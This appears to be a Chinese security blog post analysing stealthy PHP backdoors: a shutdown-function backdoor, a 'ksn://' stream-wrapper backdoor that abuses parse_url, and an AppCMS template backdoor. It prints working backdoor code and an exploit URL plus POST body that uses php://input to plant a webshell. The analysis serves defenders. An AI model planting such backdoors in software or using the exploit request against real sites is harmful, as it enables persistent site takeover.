php流包装器
根据我们最新的报告,百分之七十二的被入侵网站都含有后门。后门是攻击者为了保持控制权而在站点留下的特殊文件。必要的时候,攻击者会利用它再次感染该站点。
我们偶然发现了一些不需要使用PHP常见函数(比如:eval,create_function,preg_replace,assert,base64_decode)即可实现的后门。
这些罕见后门看上去就像普通代码一样,它们不需要常见的混淆方法(比如:加密字符串,大小写混淆,字符串拼接)就可以让攻击者任意代码执行。
在Shutdown函数中的后门
让我们从简单的看起。在 @package.win.error.Libraries ,并且有这样一个函数:
function win() { register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }
此处的 $_POST 参数看上去十分可疑,那么这个代码到底是不是后门呢?
register_shutdown_function 注册了一个在此脚本运行完毕后的操作。这意味着无论这个代码出现在哪一行,它只在执行完时才被调用。
这样的话,脚本执行完后调用的函数便是:
$_POST['d']('', $_POST['f']($_POST['c']))
这行代码看上去如同加密一般。如果你不清楚黑客能用它干什么,让我们来想想黑客代入如下参数执行后会怎么样:
d=create_function
f=base64_decode
c=some_base64_encoded_malicious_PHP_code
于是,便会这样:
create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))
现在便是一个正常的后门了。这个代码不需要被直接调用,因为shutdown函数会自动执行它。
在Stream Wrapper中的后门
之前的只是热身罢了,现在我们来看看更复杂的。
这次我们用 @package Stream.ksn.Libraries。我们不难推导出这里有个Stream类并和一个创建ksn协议流包装器的函数。
class Stream {
function stream_open($path, $mode, $options, &$opened_path)
{ $url = parse_url($path);
$f = $_POST['d']('', $url["host"]);
$f();
return true;
}
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
我们来用几个小节分析这个代码
代码貌似人畜无害
对于一些开发者来讲,这个代码看上去像是那些第三方写的内容管理插件代码。
我们还不清楚它的具体作用,但是有些站长可能会默认它是合法代码。他们可能会通过其中的一小段来推测:是不是和ksn流相关呢?ksn又是什么呢?不管了,应该有用吧。
等等!我们在代码中看到了POST。因为攻击者总是可以操控它,因此对POST保持警惕。然而,我们不清楚POST具体的作用。
探索与发现
你玩过那些文字解密的游戏吗?这和我们做的十分相似。
我们先从 stream_open 分析:
$f = $_POST['d']('', $url["host"]);
当POST参数被用做函数名时,这引起了我们的关注。看上去 $_POST['d] 作用像之前的create_function。如果这样的话,$url['host']应该是可执行代码,但是一个经过 parse_url处理的函数应该包含不了代码吧?不过。。。
模糊化域名格式
让我们看看传进 stream_open 的 $path —— 它包括了一个被 parse_url 解析过后的 URL,我们首先分析一下下列代码:
stream_wrapper_register("ksn", Stream);
这个函数将关联 ksn协议和Stream类。Stream类继承了streamWrapper的属性,也就是说wrapper 初始化完成时,stream_open会被直接调用。(比方说 fopen 该协议时)
stream_open应该是像如下一样被声明。其中,$path是被传递到fopen的URL
public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )
我们可以用fopen来打开ksn://协议的url
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');
所以我们的path就是:
‘ksn://’.$_POST[‘f’]($_POST[‘c’]),’
这会构造一个可以让主机执行恶意代码的URL
那么我们应该如何构建一个可以被当做合法PHP代码执行的域名或者ip地址?
根据 RFC3986,我们并不需要构建合法的域名,因为parse_url不会检查URL的合法性,它只负责解析。任何从 :// 开始,以 / 或 : 结尾的那一部分字符串(如果没有的话,则是余下的全部字符)都被视作主机名部分。
比方说,如果你把 ksn://eval(base64_decode($_POST[“code”])); 传递给 parse_url,主机部分便是 eval(base64_decode($_POST[“code”]));
就像之前那,我们此处可以理解:
f=base64_decode
c=some_base64_encoded_malicious_PHP_code
然后就会执行这样的fopen:
$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');
回过头来看 stream_open,我们可以知道被传入的URL
$f = $_POST['d']('', $url["host"]);
其实是:
$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));
到了最后,$f 会被调用:
$f();
简单来说,这个后门就是打开 ksn:// 协议的 fopen 引起的,然而我们仅粗略地读不会发现什么异常
自己的测试实例:
出现原因:
在 templates/m/ 文件夹下出现了一个 content_list.php 文件,修改时间为 2017年5月25日。
经过解密,9c224bc6b59179729b15e1dddcbb5c82
为字符串kejishidai
的md5值。
由代码知,这里存在一个copy函数构成的后门。
在第12行,实际执行的即为:
copy(trim($_GET[url]),$_GET[cms]);
|
将参数url设置为php://input
,参数cms设置为shell的文件名,然后POST传入webshell。如下:
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/content_list.php?session=kejishidai&url=php://input&cms=temp.php
POST:
<?php phpinfo();?>
|